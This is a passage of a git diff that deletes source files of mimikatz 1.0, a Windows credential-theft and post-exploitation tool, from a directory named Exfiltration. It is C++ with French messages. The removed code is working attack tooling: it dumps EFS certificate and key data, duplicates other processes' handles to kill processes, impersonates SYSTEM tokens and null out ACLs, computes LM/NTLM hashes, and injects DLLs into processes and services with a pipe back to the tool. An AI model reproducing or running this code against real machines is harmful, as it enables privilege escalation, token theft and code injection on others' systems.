mod_system::getWinError() << endl; - } - return true; -} - -void mod_mimikatz_efs::printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList) -{ - for(DWORD i = 0; i < hashList->nCert_Hash; i++) - { - wstring user; - mod_secacl::simpleSidToString(hashList->pUsers[i]->pUserSid, &user); - - (*outputStream) << - L" * Nom : " << user << endl << - L" * Nom simple : " << hashList->pUsers[i]->lpDisplayInformation << endl << - L" * Hash du certificat : " << mod_text::stringOfHex(hashList->pUsers[i]->pHash->pbData, hashList->pUsers[i]->pHash->cbData) << endl << - endl; - } -} - -DWORD WINAPI mod_mimikatz_efs::ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength) -{ - if(ulLength) - { - PSIMPLE_BYTE_ARRAY sba = reinterpret_cast(pvCallbackContext); - sba->tableau = reinterpret_cast(realloc(sba->tableau, sba->nbElements + ulLength)); - if(sba->tableau) - { - RtlCopyMemory(sba->tableau + sba->nbElements, pbData, ulLength); - sba->nbElements += ulLength; - } - else - return ERROR_NOT_ENOUGH_MEMORY; - } - return ERROR_SUCCESS; -} - -DWORD WINAPI mod_mimikatz_efs::ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, ULONG ulLength) -{ - if(ulLength) - { - (*outputStream) << L" - Lecture d\'un bloc de : " << ulLength << endl; - DWORD dwBytesWritten = 0; - if(WriteFile(*reinterpret_cast(pvCallbackContext), pbData, ulLength, &dwBytesWritten, NULL) && (ulLength == dwBytesWritten)) - return ERROR_SUCCESS; - return GetLastError(); - } - return ERROR_SUCCESS; -} - -bool mod_mimikatz_efs::fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * pFek) -{ - *pFek = NULL; - PEFS_KEY_LIST monHead = reinterpret_cast(reinterpret_cast(header) + KeyList_offset); - - PEFS_KEY_LIST_ENTRY monHeader = reinterpret_cast(monHead); - DWORD previousSize = sizeof(PEFS_KEY_LIST); - for(DWORD i = 0; i < monHead->Length; i++) - { - (*outputStream) << endl << L" Champ de donnes " << (i + 1) << L" :" << endl; - monHeader = reinterpret_cast((PBYTE) monHeader + previousSize); - - PEFS_PUBLIC_KEY_INFORMATION monCredHeader = reinterpret_cast(reinterpret_cast(monHeader) + monHeader->PKI_Offset); - wstring user; - if(monCredHeader->OwnerSID_offset) - mod_secacl::simpleSidToString((reinterpret_cast(monCredHeader) + monCredHeader->OwnerSID_offset), &user); - else user.assign(L"(null)"); - - (*outputStream) << L" * Utilisateur : " << user << endl; - fullInfosFromEFS_CERTIFICATE_DATA(monCredHeader, monCredHeader->Certificate_offset); - - PBYTE Encrypted_FEK = reinterpret_cast(monHeader) + monHeader->Enc_FEK_Offset; - (*outputStream) << - L" * Flags : " << monHeader->Flags << endl << - L" * FEK (chiffre) : " << endl << - L" -> Taille : " << monHeader->Enc_FEK_Length << endl << - L" -> Donnes : " << endl << mod_text::stringOfHex(Encrypted_FEK, monHeader->Enc_FEK_Length, 16) << endl << - endl; - - /*HCRYPTPROV hCryptKeyProv; - if(CryptAcquireContext(&hCryptKeyProv, L"", MS_STRONG_PROV, PROV_RSA_FULL, NULL )) - { - HCRYPTKEY maCle = NULL; - if(CryptGetUserKey(hCryptKeyProv, AT_KEYEXCHANGE, &maCle)) - { - DWORD taille = monHeader->Enc_FEK_Length; - if (CryptDecrypt(maCle, 0, TRUE, 0, Encrypted_FEK, &taille) ) - { - *pFek = reinterpret_cast(Encrypted_FEK); - (*outputStream) << - L" * FEK (clair) : " << endl << - L" -> Taille : " << (*pFek)->Key_Lenght << endl << - L" -> Algorithme : " << (*pFek)->Algorithm << endl << - L" -> Entropie : " << (*pFek)->Entropy << endl << - L" -> Donnes : " << endl << mod_text::stringOfHex((*pFek)->Key, (*pFek)->Key_Lenght, 16) << endl << - endl; - } - else - (*outputStream) << mod_system::getWinError() << endl; - } - CryptReleaseContext(hCryptKeyProv, 0); - }*/ - - previousSize = monHeader->Length; - } - - return (*pFek != NULL); -} - -void mod_mimikatz_efs::fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset) -{ - PEFS_CERTIFICATE_DATA monThCertificate = reinterpret_cast(reinterpret_cast(header) + header->Certificate_offset); - - (*outputStream) << L" -> Nom affich : "; - if(monThCertificate->DisplayName_Offset) - (*outputStream) << reinterpret_cast(reinterpret_cast(monThCertificate) + monThCertificate->DisplayName_Offset); - (*outputStream) << endl; - - (*outputStream) << L" -> Provider : "; - if(monThCertificate->ProviderName_Offset) - (*outputStream) << reinterpret_cast(reinterpret_cast(monThCertificate) + monThCertificate->ProviderName_Offset); - (*outputStream) << endl; - - (*outputStream) << L" -> Container : "; - if(monThCertificate->ContainerName_Offset) - (*outputStream) << reinterpret_cast(reinterpret_cast(monThCertificate) + monThCertificate->ContainerName_Offset); - (*outputStream) << endl; - - (*outputStream) << L" -> Empreinte : " << mod_text::stringOfHex(reinterpret_cast(monThCertificate) + monThCertificate->CertificateThumbprint, monThCertificate->CertificateThumbprint_Length) << endl; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h deleted file mode 100644 index 0a82140f..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h +++ /dev/null @@ -1,133 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include -#include -#include "mod_text.h" -#include "mod_system.h" -#include "mod_secacl.h" -#include "mod_crypto.h" - -class mod_mimikatz_efs -{ -private: - // http://msdn.microsoft.com/library/cc230447.aspx - typedef struct _EFS_RAW { - DWORD Unknown0; - DWORD ROBS0; - DWORD ROBS1; - BYTE Reserved[8]; - } EFS_RAW, *PEFS_RAW; - - typedef struct _EFS_MARSHALED_STREAM { - DWORD Length; - DWORD NTFS0; - DWORD NTFS1; - DWORD Flag; - BYTE Reserved[8]; - DWORD NameLenght; - wchar_t StreamName[1]; - } EFS_MARSHALED_STREAM, *PEFS_MARSHALED_STREAM; - - typedef struct _EFS_STREAM_DATA_SEGMENT { - DWORD Length; - DWORD GURE0; - DWORD GURE1; - DWORD Reserved; - } EFS_STREAM_DATA_SEGMENT, *PEFS_STREAM_DATA_SEGMENT; - - typedef struct _EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER { - LONG64 StartingFile_Offset; - DWORD Length; - DWORD BytesWithinStreamSize; - DWORD BytesWithinVDL; - USHORT ReservedForAlignement0; - BYTE DataUnitShift; - BYTE ChunkShift; - BYTE ClusterShift; - BYTE ReservedForAlignement1; - USHORT NumberOfDataBlocks; - DWORD DataBlockSizes[1]; - } EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, *PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER; - - typedef struct _EFS_EXTENDED_HEADER { - DWORD EXTD_Number; - DWORD Length; - DWORD Flags; - DWORD Reserved; - } EFS_EXTENDED_HEADER, *PEFS_EXTENDED_HEADER; - - typedef struct _EFS_METADATA_1 { - DWORD Length; - DWORD Reserved1; - DWORD EFS_Version; - DWORD Reserved2; - BYTE EFS_ID[16]; - BYTE EFS_Hash[16]; - BYTE Reserved3[16]; - LONG DDF_Offset; - LONG DRF_Offset; - BYTE Reserved4[12]; - } EFS_METADATA_1, *PEFS_METADATA_1; - - typedef struct _EFS_KEY_LIST { - DWORD Length; - } EFS_KEY_LIST, *PEFS_KEY_LIST; - - typedef struct _EFS_KEY_LIST_ENTRY { - DWORD Length; - LONG PKI_Offset; - DWORD Enc_FEK_Length; - LONG Enc_FEK_Offset; - DWORD Flags; - } EFS_KEY_LIST_ENTRY, *PEFS_KEY_LIST_ENTRY; - - typedef struct _EFS_PUBLIC_KEY_INFORMATION { - DWORD Length; - LONG OwnerSID_offset; - DWORD Type; - DWORD Certificate_Length; - LONG Certificate_offset; - } EFS_PUBLIC_KEY_INFORMATION, *PEFS_PUBLIC_KEY_INFORMATION; - - typedef struct _EFS_CERTIFICATE_DATA { - LONG CertificateThumbprint; - DWORD CertificateThumbprint_Length; - LONG ContainerName_Offset; - LONG ProviderName_Offset;; - LONG DisplayName_Offset; - } EFS_CERTIFICATE_DATA, *PEFS_CERTIFICATE_DATA; - - typedef struct _EFS_FEK { - DWORD Key_Lenght; - DWORD Entropy; - ALG_ID Algorithm; - DWORD Reserverd; - BYTE Key[1]; - } EFSFEK, *PEFS_FEK; - - typedef struct _SIMPLE_BYTE_ARRAY{ - SIZE_T nbElements; - PBYTE tableau; - } SIMPLE_BYTE_ARRAY, *PSIMPLE_BYTE_ARRAY; - - static DWORD WINAPI ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength); - static DWORD WINAPI ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength); - static void printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList); - - static bool fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * Fek); - static void fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset); - -public: - static vector getMimiKatzCommands(); - - static bool infos(vector * arguments); - static bool full(vector * arguments); - static bool toraw(vector * arguments); - static bool fromraw(vector * arguments); -}; - diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp deleted file mode 100644 index 8e45ee69..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp +++ /dev/null @@ -1,301 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_handle.h" -#include "..\global.h" - -vector mod_mimikatz_handle::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Affiche les handles du systme (pour le moment juste les processus et tokens)")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processStop, L"processStop", L"Essaye de stopper un ou plusieurs processus en utilisant d\'autres handles")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tokenImpersonate, L"tokenImpersonate", L"Essaye d\'impersonaliser un token en utilisant d\'autres handles")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nullAcl, L"nullAcl", L"Positionne une ACL null sur des Handles")); - return monVector; -} - -bool mod_mimikatz_handle::list(vector * arguments) -{ - vector * mesProcess = new vector(); - - bool isProcessList = mod_process::getList(mesProcess); - vector * mesHandles = new vector(); - - DWORD id = (!arguments->empty() ? _wtoi(arguments->front().c_str()) : 0); - - if(mod_system::getSystemHandles(mesHandles, arguments->empty() ? NULL : &id)) - { - for(vector::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) - { - HANDLE hProcess; - if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) - { - HANDLE nouveauHandle; - if(DuplicateHandle(hProcess, reinterpret_cast(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) - { - wstring tokenType; - if(mod_system::getHandleType(nouveauHandle, &tokenType)) - { - bool isToken = (_wcsicmp(tokenType.c_str(), L"token") == 0); - bool isProcess = (_wcsicmp(tokenType.c_str(), L"process") == 0); - - if(isToken || isProcess) - { - (*outputStream) << setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" "; - - if(isProcessList) - { - mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32(); - if(mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess)) - (*outputStream) << setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right; - delete processHote; - } - - (*outputStream) << L" -> " << setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << tokenType << L'\t'; - - if(isToken) - { - wstring userName, domainName; - if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName)) - (*outputStream) << L'\t' << domainName << L'\\' << userName ; - else (*outputStream) << mod_system::getWinError(); - } - else if(isProcess) - { - DWORD monPid = GetProcessId(nouveauHandle); - (*outputStream) << monPid; - - if(isProcessList) - { - mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32(); - if(mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess)) - (*outputStream) << L'\t' << processKiwi->szExeFile; - delete processKiwi; - } - } - (*outputStream) << endl; - } - } - CloseHandle(nouveauHandle); - } - CloseHandle(hProcess); - } - } - } - else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; - - delete mesHandles; - - return true; -} - -bool mod_mimikatz_handle::processStop(vector * arguments) -{ - vector * mesProcess = new vector(); - - bool isProcessList = mod_process::getList(mesProcess); - vector * mesHandles = new vector(); - - if(mod_system::getSystemHandles(mesHandles)) - { - for(vector::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) - { - HANDLE hProcess; - if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) - { - HANDLE nouveauHandle; - if(DuplicateHandle(hProcess, reinterpret_cast(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) - { - wstring tokenType; - if(mod_system::getHandleType(nouveauHandle, &tokenType)) - { - if(_wcsicmp(tokenType.c_str(), L"process") == 0) - { - if(isProcessList) - { - mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32(); - mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32(); - DWORD monPid = GetProcessId(nouveauHandle); - if( - mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess) && - mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess) - ) - { - - for(vector::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) - { - if(_wcsicmp(processKiwi->szExeFile.c_str(), monProcessName->c_str()) == 0) - { - (*outputStream) << - setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " << - setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " << - setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << - monPid << L'\t' << processKiwi->szExeFile << endl; - ; - - - (*outputStream) << L"\tTerminate Process - "; - if(TerminateProcess(nouveauHandle, ERROR_SUCCESS) != 0) - { - (*outputStream) << L"OK"; - } - else - { - (*outputStream) << L"KO ; " << mod_system::getWinError() << endl << - L"\tJob : "; - - if(HANDLE monObject = CreateJobObject(NULL, NULL)) - { - if(AssignProcessToJobObject(monObject, nouveauHandle)) - { - (*outputStream) << L"TerminateJobObject - "; - if(TerminateJobObject(monObject, ERROR_SUCCESS) != 0) - { - (*outputStream) << L"OK"; - } - else (*outputStream) << L"KO ; " << mod_system::getWinError(); - } - else (*outputStream) << L"AssignProcessToJobObject - KO ; " << mod_system::getWinError(); - CloseHandle(monObject); - } - - } - - (*outputStream) << endl; - } - } - } - delete processKiwi; - delete processHote; - } - } - } - CloseHandle(nouveauHandle); - } - CloseHandle(hProcess); - } - } - } - else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; - - delete mesHandles; - - return true; -} - -bool mod_mimikatz_handle::tokenImpersonate(vector * arguments) -{ - PNT_SET_INFORMATION_PROCESS NtSetInformationProcess = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSetInformationProcess")); - vector * mesProcess = new vector(); - - bool isProcessList = mod_process::getList(mesProcess); - vector * mesHandles = new vector(); - - if(mod_system::getSystemHandles(mesHandles)) - { - for(vector::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) - { - HANDLE hProcess; - if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) - { - HANDLE nouveauHandle; - if(DuplicateHandle(hProcess, reinterpret_cast(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) - { - wstring tokenType; - if(mod_system::getHandleType(nouveauHandle, &tokenType)) - { - if(_wcsicmp(tokenType.c_str(), L"token") == 0) - { - if(isProcessList) - { - mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32(); - if( - mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess) - ) - { - wstring userName, domainName; - if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName)) - { - if(_wcsicmp(userName.c_str(), (arguments->empty() ? L"system" : arguments->front().c_str())) == 0) - { - (*outputStream) << - setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " << - setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " << - setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << - domainName << L'\\' << userName << L'\t'; - - if(mod_secacl::exchangeDupToken(&nouveauHandle)) - { - if(ImpersonateLoggedOnUser(nouveauHandle)) - { - (*outputStream) << L"ok !!" << endl; - break; - } - else - { - (*outputStream) << L"ko - ImpersonateLoggedOnUser ; " << mod_system::getWinError() << endl; - } - } - else - { - (*outputStream) << L"ko - mod_secacl::exchangeDupToken ; " << mod_system::getWinError() << endl; - } - - } - } - else (*outputStream) << mod_system::getWinError(); - } - delete processHote; - } - } - } - CloseHandle(nouveauHandle); - } - CloseHandle(hProcess); - } - } - } - else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; - - delete mesHandles; - - return true; -} - -bool mod_mimikatz_handle::nullAcl(vector * arguments) -{ - vector * mesHandles = new vector(); - if(mod_system::getSystemHandles(mesHandles)) - { - for(vector::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) - { - HANDLE hProcess; - if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) - { - HANDLE nouveauHandle; - if(DuplicateHandle(hProcess, reinterpret_cast(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) - { - wstring tokenType; - if(mod_system::getHandleType(nouveauHandle, &tokenType)) - { - bool toACL = true;; - if(!arguments->empty()) - toACL = find(arguments->begin(), arguments->end(), tokenType) != arguments->end(); - - if(toACL) - (*outputStream) << monHandle->ProcessId << L'\t' << monHandle->Handle << L'\t' << tokenType << L"\t\t" << (mod_secacl::nullSdToHandle(&nouveauHandle) ? L"NULL !" : L"KO") << endl; - } - CloseHandle(nouveauHandle); - } - CloseHandle(hProcess); - } - } - } - else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; - - delete mesHandles; - - return true; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h deleted file mode 100644 index 961991ca..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h +++ /dev/null @@ -1,23 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_system.h" -#include "mod_process.h" -#include "mod_secacl.h" -#include -#include - -class mod_mimikatz_handle -{ -public: - static vector getMimiKatzCommands(); - - static bool list(vector * arguments); - static bool processStop(vector * arguments); - static bool tokenImpersonate(vector * arguments); - static bool nullAcl(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp deleted file mode 100644 index 302c05e7..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp +++ /dev/null @@ -1,43 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_hash.h" -#include "..\global.h" - -vector mod_mimikatz_hash::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(lm, L"lm", L"Hash LanManager (LM) d\'une chane de caractres")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(ntlm, L"ntlm", L"Hash NT LanManger (NTLM) d\'une chane de caractres")); - return monVector; -} - -bool mod_mimikatz_hash::lm(vector * arguments) -{ - wstring chaine, hash; - - if(!arguments->empty()) - chaine = arguments->front(); - - if(mod_hash::lm(&chaine, &hash)) - (*outputStream) << L"LM(\'" << chaine << L"\') = " << hash << endl; - else - (*outputStream) << L"Erreur de calcul du hash LM" << endl; - return true; -} - -bool mod_mimikatz_hash::ntlm(vector * arguments) -{ - wstring chaine, hash; - - if(!arguments->empty()) - chaine = arguments->front(); - - if(mod_hash::ntlm(&chaine, &hash)) - (*outputStream) << L"NTLM(\'" << chaine << L"\') = " << hash << endl; - else - (*outputStream) << L"Erreur de calcul du hash NTLM" << endl; - return true; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h deleted file mode 100644 index 96ac879b..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h +++ /dev/null @@ -1,18 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_hash.h" -#include - -class mod_mimikatz_hash -{ -public: - static vector getMimiKatzCommands(); - - static bool lm(vector * arguments); - static bool ntlm(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp deleted file mode 100644 index 012c62ac..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp +++ /dev/null @@ -1,25 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_impersonate.h" -#include "..\global.h" - -vector mod_mimikatz_impersonate::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(revert, L"revert", L"RevertToSelf")); - return monVector; -} -bool mod_mimikatz_impersonate::revert(vector * arguments) -{ - (*outputStream) << L"RevertToSelf : "; - if(RevertToSelf()) - (*outputStream) << L"ok"; - else - (*outputStream) << L"ko ; " << mod_system::getWinError(); - (*outputStream) << endl; - - return true; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h deleted file mode 100644 index da62b37e..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h +++ /dev/null @@ -1,19 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_system.h" -#include "mod_process.h" -#include "mod_thread.h" -#include - -class mod_mimikatz_impersonate -{ -public: - static vector getMimiKatzCommands(); - - static bool revert(vector * arguments); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp deleted file mode 100644 index 74ca84d4..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp +++ /dev/null @@ -1,120 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_inject.h" -#include "..\global.h" - -mod_pipe * mod_mimikatz_inject::monCommunicator = NULL; - -vector mod_mimikatz_inject::getMimiKatzCommands() -{ - vector monVector; - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pid, L"pid", L"Injecte une librairire communicante dans un PID")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(process, L"process", L"Injecte une librairire communicante dans un processus")); - monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(service, L"service", L"Injecte une librairire communicante dans un service")); - return monVector; -} - -bool mod_mimikatz_inject::process(vector * arguments) -{ - wstring processName = arguments->front(); - wstring fullLib = arguments->back(); - - mod_process::KIWI_PROCESSENTRY32 monProcess; - if(mod_process::getUniqueForName(&monProcess, &processName)) - { - (*outputStream) << L"PROCESSENTRY32(" << processName << L").th32ProcessID = " << monProcess.th32ProcessID << endl; - injectInPid(monProcess.th32ProcessID, fullLib); - } - else (*outputStream) << L"Trop, ou pas de processus : \'" << processName << L"\' mod_process::getUniqueProcessForName : " << mod_system::getWinError() << endl; - - return true; -} - -bool mod_mimikatz_inject::service(vector * arguments) -{ - wstring serviceName = arguments->front(); - wstring fullLib = arguments->back(); - - mod_service::KIWI_SERVICE_STATUS_PROCESS monService; - if(mod_service::getUniqueForName(&monService, &serviceName)) - { - (*outputStream) << L"SERVICE(" << serviceName << L").serviceDisplayName = " << monService.serviceDisplayName << endl; - (*outputStream) << L"SERVICE(" << serviceName << L").ServiceStatusProcess.dwProcessId = " << monService.ServiceStatusProcess.dwProcessId << endl; - injectInPid(monService.ServiceStatusProcess.dwProcessId, fullLib); - } - else (*outputStream) << L"Service unique introuvable : \'" << serviceName << L"\' ; mod_service::getUniqueForName : " << mod_system::getWinError() << endl; - - return true; -} - -bool mod_mimikatz_inject::pid(vector * arguments) -{ - wstring strPid = arguments->front(); - wstring fullLib = arguments->back(); - - DWORD pid; - wstringstream monStream(strPid); - monStream >> pid; - - injectInPid(pid, fullLib, !(arguments->size() >= 3)); - - return true; -} - -bool mod_mimikatz_inject::injectInPid(DWORD & pid, wstring & libPath, bool isComm) -{ - bool reussite = false; - - if(!isComm || (isComm && !monCommunicator)) - { - if(reussite = mod_inject::injectLibraryInPid(pid, &libPath)) - { - if(isComm) - { - wstring monBuffer = L""; - - monCommunicator = new mod_pipe(L"kiwi\\mimikatz"); - (*outputStream) << L"Attente de connexion du client..." << endl; - - if(monCommunicator->createServer()) - { - (*outputStream) << L"Serveur connect un client !" << endl; - if(monCommunicator->readFromPipe(monBuffer)) - { - (*outputStream) << L"Message du processus :" << endl << monBuffer << endl; - } - else - { - (*outputStream) << L"Erreur : Impossible de lire le premier message ! ; " << mod_system::getWinError() << endl; - closeThisCommunicator(); - } - } - else - { - (*outputStream) << L"Erreur : Impossible de crer un canal de communication ! ; " << mod_system::getWinError() << endl; - closeThisCommunicator(); - } - } - else - (*outputStream) << L"Inject sans communication (legacy)" << endl; - } else (*outputStream) << L"Erreur : Impossible d\'injecter ! ; " << mod_system::getWinError() << endl; - } - else (*outputStream) << L"Erreur : un canal de communicaton est dj ouvert" << endl; - - return reussite; -} - - -bool mod_mimikatz_inject::closeThisCommunicator() -{ - if(monCommunicator) - { - (*outputStream) << L"Fermeture du canal de communication" << endl; - delete monCommunicator; - monCommunicator = NULL; - } - return true; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h deleted file mode 100644 index 92b48845..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h +++ /dev/null @@ -1,33 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_inject.h" -#include "mod_system.h" -#include "mod_process.h" -#include "mod_service.h" -#include "mod_pipe.h" -#include - -class mod_mimikatz_inject -{ -private: - static bool injectInPid(DWORD & pid, wstring & libPath, bool isComm = true); - static void startComm(); - -public: - static mod_pipe * monCommunicator; - static bool closeThisCommunicator(); - - static vector getMimiKatzCommands(); - - static bool pid(vector * arguments); - static bool process(vector * arguments); - static bool service(vector * arguments); - - static bool injectlegacy(vector * arguments); - -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp deleted file mode 100644 index 0d61227f..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp +++ /dev/null @@ -1,140 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_mimikatz_minesweeper.h" -#include "..\global.h" - -char DISP_MINESWEEPER[] = 